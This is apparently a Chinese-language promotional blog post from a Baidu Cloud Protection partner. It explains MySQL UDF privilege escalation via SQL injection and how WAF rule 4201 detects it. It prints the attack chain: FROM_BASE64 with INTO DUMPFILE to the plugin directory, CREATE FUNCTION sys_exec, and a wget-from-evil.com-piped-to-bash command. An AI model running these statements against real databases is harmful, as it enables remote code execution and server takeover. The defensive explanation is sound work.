MySQL UDF 文件写入攻击:通过 SQL 注入写共享库提权,百度云防护规则 4201 精准拦截

你以为 SQL 注入只能拖库?错了。高级攻击者可以通过 SQL 注入在服务器上写入一个恶意共享库(.dll/.so),然后创建自定义函数,直接执行任意系统命令——这就是 MySQL UDF 文件写入攻击。一旦成功,攻击者就等于拿到了服务器的 root 权限。今天我们就深度拆解这种攻击的原理,并介绍百度云防护如何用规则 ID 4201 将其拦截在萌芽状态。


一、 什么是 MySQL UDF?

UDF 是 User Defined Function(用户自定义函数)的缩写。MySQL 允许用户通过编写共享库(Windows 下为 .dll,Linux 下为 .so)来扩展其功能,例如添加一个名为 sys_exec() 的函数来执行系统命令。

正常用法:数据库管理员将编译好的 UDF 共享库放在 MySQL 的插件目录(plugin_dir)中,然后通过 CREATE FUNCTION 语句注册,之后就可以在 SQL 中调用自定义函数。

攻击者的利用:如果攻击者能通过 SQL 注入或其他方式将恶意共享库写入服务器文件系统,并注册为 UDF 函数,就能实现远程代码执行(RCE),完全控制操作系统。


二、 攻击手法拆解:FROM_BASE64 + INTO DUMPFILE

攻击者利用 SQL 注入漏洞,执行以下步骤:

2.1 获取 MySQL 插件目录路径

首先,攻击者需要知道 MySQL 的插件目录位置。通过注入查询:

SHOW VARIABLES LIKE 'plugin_dir';

通常返回类似 /usr/lib/mysql/plugin/C:\Program Files\MySQL\MySQL Server X.Y\lib\plugin\

2.2 构造恶意共享库

攻击者预先编译好一个恶意的 UDF 共享库(例如 udf.dlludf.so),该库导出了一个危险函数,如 sys_execsys_eval 等,用于执行系统命令。为了绕过传输限制,攻击者将二进制文件转换为 Base64 编码的字符串

2.3 通过 INTO DUMPFILE 写入文件

攻击者利用 SQL 注入点执行类似下面的语句:

SELECT 
  FROM_BASE64('base64_encoded_malicious_library_content') 
  INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';
  • FROM_BASE64() 将 Base64 字符串解码回二进制数据。
  • INTO DUMPFILE 将二进制数据直接写入服务器文件系统,不添加换行符、不转义,完美保留原始字节。

关键点INTO DUMPFILEINTO OUTFILE 不同,它不会对文件内容做任何处理,非常适合写入二进制文件。

2.4 注册 UDF 函数

文件写入成功后,攻击者执行:

CREATE FUNCTION sys_exec RETURNS INT SONAME 'udf.so';

之后,攻击者就可以通过 SQL 调用系统命令了:

SELECT sys_exec('id');
SELECT sys_exec('wget http://evil.com/shell.sh | bash');

至此,攻击者完全控制了操作系统,可以任意操作:下载挖矿程序、加密文件勒索、窃取数据、横向移动等。


三、 为什么这种攻击极其危险?

攻击阶段危害
写入共享库绕过常规文件上传限制,直接向服务器写入二进制恶意文件
注册 UDF获得执行系统命令的能力,权限通常为 MySQL 进程用户(常为 root 或高权限)
提权与持久化攻击者可以添加系统用户、安装后门、植入挖矿程序、窃取数据库所有数据
横向移动以数据库服务器为跳板,攻击内网其他系统

真实案例:某电商平台因 SQL 注入漏洞,攻击者利用 INTO DUMPFILE 写入 UDF 共享库,成功提权后拖走了全量用户数据,并植入勒索病毒,导致业务中断数天,损失惨重。


四、 为什么传统 WAF 难以防御?

  1. Base64 编码混淆:恶意共享库被编码成看似无害的长字符串,传统特征匹配容易漏过。
  2. 混合正常语法FROM_BASE64INTO DUMPFILE 本身是合法的 SQL 函数,可能出现在正常业务中(例如导入 Base64 编码的图片)。
  3. 二进制文件无特征:Base64 编码后的字符串本身没有恶意特征,只有解码后才显现出 PE/ELF 文件头。
  4. 多语句注入:攻击者可能分多条语句执行,增加检测难度。

五、 百度云防护如何拦截?规则 4201 深度解析

从百度云防护的内置规则库可以看到,专门有一条规则用于检测 MySQL UDF 文件写入攻击:

规则名称规则ID风险等级防护类型规则描述
Injection.mysql_udf_write.A4201高风险注入检测 MySQL UDF 文件写入的 SQL 注入攻击,攻击者通过 FROM_BASE64 和 INTO DUMPFILE 将恶意共享库写入服务器

这条规则的拦截原理如下:

5.1 检测 FROM_BASE64 与 INTO DUMPFILE 的危险组合

规则会识别 SQL 语句中同时出现 FROM_BASE64()INTO DUMPFILE 的模式,且 FROM_BASE64() 的参数长度异常(正常业务极少传递数万字符的 Base64 字符串)。

5.2 解码检测恶意文件头

当检测到该组合时,百度云防护 WAF 会尝试对 Base64 字符串进行解码,并检查解码后的二进制数据是否包含以下特征:

  • Windows DLL 文件头(MZ
  • Linux ELF 文件头(\x7FELF
  • 常见的 UDF 导出函数名(如 sys_execsys_evalcmdshell 等)

一旦确认是恶意共享库,立即拦截。

5.3 路径白名单与异常路径检测

INTO DUMPFILE 的目标路径如果指向 MySQL 插件目录(/lib/plugin/\lib\plugin\),且文件扩展名为 .dll.so,触发高危告警。正常业务极少向该目录写入文件。

5.4 行为关联分析

如果同一请求中同时出现:

  • 查询 plugin_dir 系统变量
  • FROM_BASE64 写入文件
  • 后续 CREATE FUNCTION 语句

百度云防护会将其判定为完整的 UDF 提权攻击链,直接阻断。

5.5 低误报,高检出

正常业务中,几乎不会出现向 MySQL 插件目录写入 Base64 解码后的二进制文件。规则经过海量真实流量训练,误报率极低。


六、 如何启用百度云防护规则 4201?

如果你已经接入百度云防护,只需两步:

  1. 登录百度云防护控制台 → 防护配置Web防护内置规则
  2. 搜索规则 ID 4201,确认状态为“开启”,动作为“拦截”

(建议先设为“观察”模式运行几天,确认无误后再改为“拦截”)


七、 主机吧总结:从 SQL 注入到服务器沦陷,只差一条规则的距离

MySQL UDF 文件写入攻击是 SQL 注入的“终极形态”之一,它让攻击者从“数据库窃贼”升级为“服务器主人”。而百度云防护的规则 4201,通过解码检测、路径分析、行为关联等组合手段,精准识别并阻断这种高级攻击。

对于数据库管理员和站长,除了依赖 WAF,还应:

  • 设置 MySQL 插件目录权限:确保只有 mysql 用户可写,且禁止其他用户写入。
  • 禁用 FILE 权限:对于普通应用使用的数据库账号,不要授予 FILE 权限,这是 INTO DUMPFILE 的前提。
  • 定期审计 UDF 函数:检查 mysql.func 表,移除不必要的自定义函数。
  • 升级 MySQL 版本:新版本对 UDF 有更严格的限制(如要求共享库必须有特定符号)。

如果你还不确定自己的数据库是否存在 SQL 注入风险,或者想为网站加上一道主动防御的屏障,欢迎联系主机吧。我们提供免费安全评估和配置指导,助你构建从 Web 到数据库的立体防线。


主机吧 | 百度云防护官方合作伙伴
提供 WAF 接入、高防 CDN、高防 IP、高防服务器、SSL 证书一站式服务
让每一次 UDF 写入都无处遁形,让每一台服务器都固若金汤。

给TA打赏
共{{data.count}}人
人已打赏
0 条回复 A文章作者 M管理员
    暂无讨论,说说你的看法吧